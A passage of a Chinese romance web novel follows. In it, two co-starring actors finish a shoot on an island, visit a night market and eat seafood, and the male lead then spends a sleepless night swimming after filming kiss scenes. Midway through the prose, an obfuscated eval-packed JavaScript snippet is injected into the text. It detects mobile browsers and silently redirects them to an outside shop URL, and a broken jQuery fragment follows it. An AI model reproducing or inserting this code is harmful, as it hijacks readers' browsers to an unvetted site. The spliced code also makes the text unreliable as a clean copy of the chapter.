陆衡心情很好,低头又翻看了几遍刚才拍到的画面。
确认没有问题,才发话:“今天你们就先拍到这里,回去休息吧。”
后面还要继续补其他组的镜头,现场很快重新忙碌起来。
今天船屋的拍摄空间有限,乔茵和沈柯都没跟进来,一直在稍远处的休息区等着。见辛以薇和骆柏舟一道出来,两个人立刻起身迎上来。
“结束了?”乔茵问。
“嗯。”辛以薇点头,“今天提前收工。”
几个人一起往停车的方向走。
沈柯开车,乔茵坐在副驾驶,对后座两人提议:“难得今天收工早,要不要去逛逛?”
沈柯也道:“这几天不是酒店就是片场,你们还没出去过呢。”
反倒是他和乔茵,在戏份集中不需要候场时,趁着在附近采购东西逛过几次。
辛以薇想了想道:“也好。”
这边毕竟不是国内,被认出来的概率低很多,倒是出去走走的好机会。
她问骆柏舟:“你去不?”
骆柏舟道:“好。”
沈柯便道:“附近有个夜市,海鲜很新鲜,都是当天打捞现场做的。”
于是就这么说定了。
车子驶离片场,窗外的海岛景色一路后退,天边晚霞绚烂,海天辉映格外美丽。
辛以薇靠在座椅里,最初还在回复手机里的消息,过了一会儿,目光却不受控制地偏向身旁。
骆柏舟正垂眸看明天的通告单。
连着拍了那么多次吻戏,虽然只是简单的嘴唇碰触,毕竟有点尴尬。
不过看骆柏舟的态度,倒跟平时没什么不同。神情平静,看不出半分异常。
只有耳根似乎还残存一点很浅的粉意。
大概是她的视线停留得太明显,骆柏舟很快扭头看过来。
两个人目光撞上。
“怎么?”
辛以薇看了眼前面说话的乔茵和沈柯,放低了声音,凑近他小声问:“我刚刚忽然临时发挥,是不是让你困扰了?”
骆柏舟沉默了一瞬:“没有。”
辛以薇解释道:“我当时也没想太多,就是感觉……”
“我知道。”
骆柏舟打断她。
他的神色很平静,语气也和刚才与导演讨论表演时没有区别。
“那个处理很好。”
辛以薇认真看向他。
“真的?”
“嗯。”骆柏舟说,“比单纯对峙更合适。”
这和辛以薇的判断差不多。
“我也觉得。”她笑了笑,“不然林默那个脾气,光瞪你几眼,好像差点意思。”
话说开了,辛以薇心里那点若有似无的不自在顿时散去。
她也拿出通告单开始看起来。
骆柏舟则转开视线,看向窗外。
只有搁在膝上的手指很轻地蜷了一下。
车子开进最近的小镇时,天还没完全黑。
这里并非热门旅游岛屿,不过临海的一条街上还是有不少大大小小的摊位,灯牌亮得五颜六色。
空气里混着海风、炭火、香料和食物的气味,人不算少,却也没有拥挤到寸步难行。
四人穿着打扮都很低调,倒也没有引起太多注意。
辛以薇一下车就明显来了精神。
路边有人卖当地水果,她停下来研究了半天。
“这个是什么?”
摊主说了一串当地话。
乔茵没听懂,掏出手机准备打开翻译软件。
骆柏舟已经用迦澜语跟对方简单交流了几句。
辛以薇想起他以前拍过缉毒电影,估计就是那时候学的,便问他:“甜的吗?”
“说是甜的。”
辛以薇于是高高兴兴地买了一袋。
老板很爽快地帮她切好,装进纸袋递了过来。
辛以薇当即拿着小签子叉起一块尝了一口,表情顿时变得有些复杂。
骆柏舟看见了:“不好吃?”
“也不是。”
“那是什么?”
辛以薇把手里的签子递给他:“你自己尝尝。”
骆柏舟顿了下,随即很自然地接过,叉起一块放入口中。
下一秒,也沉默了。
辛以薇笑起来:“是不是很奇怪?”
确实很奇怪。
老板没说谎,这水果味道的确很甜,但口感像在嚼某种橡胶制品,说不出的诡异。
沈柯道:“没那么难吃吧?我前两天才买了,挺好的呀。”
“那给你吃。”
骆柏舟很干脆地把纸袋子给他,沈柯乐得接过,乔茵在旁边听得直笑。
一路逛过去,辛以薇又买了不少零零碎碎的东西。
有些是当地手工做的小摆件,有些是她觉得好看的明信片,还有一串看起来没什么用、但她偏偏觉得很可爱的贝壳挂饰。
最开始还自己拎着。
后来东西越来越多,便十分自然地往骆柏舟手里塞。
骆柏舟也是毫无怨言地接过,跟过去每次一样。
辛以薇转身又去看另一个摊位。
她显然已经不再把下午那场戏放在心上。
骆柏舟站在她身后,手里提着她买的一堆东西,看着她弯腰挑选摆在摊位上的小饰品。
夜市的灯光落在她侧脸上。
她偶尔回头问他一句好不好看,或者拿起两个款式相近的东西让他选。
相处和从前没有任何区别。
骆柏舟却很难忘记。
那些发生在下午杂物间里、短暂得几乎一触即分的亲吻,总会毫无缘由地浮现眼前。
逛到最后,四个人找了家临海的海鲜餐厅。
位置就在街边,桌椅摆得很随意,不远处就是沙滩,再往外便是起伏不息的海面。
辛以薇饿了一下午,菜单一拿到手就点了不少。
当地的菜式看着不显山不露水,入口却辣得出人意料。辛以薇一个没提防,被辣得眼泪都冒出来。
“水。”
乔茵还没反应过来,她已经顺手拿起旁边的杯子喝了一大口。
喝完才放回原处。
骆柏舟垂眼看过去。
那是他的水。
辛以薇却显然完全没意识到。
其他两人忙着安抚她,也没在意这个小细节。
这种小失误过去也不是没有发生过。
骆柏舟从来没有觉得有什么,可今天目光落在杯沿时,却莫名停了许久。
下午那一幕毫无征兆地重新浮上来。
心跳随之乱了几拍。
骆柏舟不着痕迹地缓了口气,移开目光。
沈柯坐在对面,目光在两个人之间转了一圈,又若无其事地低头剥虾。
等到适应了菜的辣度,几人姿态放松下来,随意聊起当地的风土人情。
最后话题自然而然落回拍摄。
“过几天是不是得拍外景那几场了?”辛以薇问。
骆柏舟点头:“嗯。”
“要不今晚回去顺一下?”
这段时间两个人有空就会提前对戏。
有时候在片场休息室,有时候干脆去彼此房间。
骆柏舟顿了下,说:“明天吧,我今晚还有点别的工作。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17765083|208192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
辛以薇没有多想:“也行,明天再说。”
“嗯。”
吃完饭回酒店时已经快十点。
几个人说说笑笑间,电梯到了他们所在的楼层。
辛以薇先走出去。
走到房门口时,她回头挥了下手。
“明天见。”
骆柏舟站在不远处:“明天见。”
她刷开房门,跟乔茵一起走进去。
门合上。
走廊重新安静下来。
骆柏舟看了眼那合上的门,才继续往自己的房间走。
沈柯跟在他身后。
进套房以后,骆柏舟刚把手里的东西放下,沈柯就问:“晚上还有什么工作?有需要我帮忙的吗?”
骆柏舟动作一顿。
“不用,我处理几个邮件。”
沈柯不疑有他,点了点头,进了自己的房间。
骆柏舟则从冰箱拿了一瓶冰水。
冰冷的液体顺着喉咙滑下去,纷乱的心绪却没有得到丝毫缓解。
他回到房间,打开电脑,邮箱里还有几封没有处理的工作邮件。
骆柏舟随手点开其中一封,盯着屏幕看了半天,却一个字都没真正看进去。
最后还是合上了电脑。
房间里重新安静下来。
他在原地坐了一会儿,又起身出去拿了第二瓶冰水。
喝到一半,忽然觉得自己实在有些没出息。
他抬手按了按眉心,重新打开电脑,强迫自己把注意力放到工作上。
五分钟过去,一封邮件依旧没有看完。
他终于放弃,起身进了浴室。
冰凉的水从头顶落下,总算把身体里那点挥之不去的躁意压下去一些。
骆柏舟站在水下,良久,才抬手抹掉脸上的水。
洗完澡躺到床上,依旧辗转反侧,怎么也睡不着。
手机放在床头,他拿起来,无意识地在屏幕上划来划去,不知不觉点开了和辛以薇的对话框。
却紧接着锁了屏。
他将手机放在自己的胸口,尝试着酝酿睡意。
不知道过了多久,他重新睁开眼,屏幕上的时间来到凌晨一点。
骆柏舟翻了个身,最后还是掀开被子坐了起来。
十几分钟后,酒店附设的泳池里多了一道身影。
这个时间泳池里已经几乎没人,四周格外安静,只有水面被一次次划开,又在身后重新合拢。
骆柏舟一口气游了几个来回,速度比平时快了不少,想把脑子里那些乱七八糟的念头一起甩掉。
直到胸口因为运动剧烈起伏,他才抓住池沿停下来。
湿透的头发贴在额前,水珠顺着眉骨往下滑。骆柏舟闭着眼缓了片刻,偏偏脑海里又毫无预兆地闪过前几天拍泳池夜戏时的画面。
辛以薇站在二楼露台上,隔着一层夜色看着他。
骆柏舟睁开眼,觉得自己来游泳根本就是个错误。
没过多久,身后传来一阵脚步声。
沈柯匆匆走过来,看到他以后,明显松了口气。
“你怎么这时候出来游泳?”
骆柏舟回头:“你怎么来了?”
“你大半夜人不在房间,电话也不接,我总得找找你在哪儿。”
沈柯在池边蹲下来,小心翼翼地看了他一眼。
“今天,是不是发生什么事了?”
骆柏舟:“……没事。”
跟了他这么多年,沈柯当然看得出他今天的状态不对。
他没有再问,只在心里隐约有了猜测。
多半还是和辛以薇有关。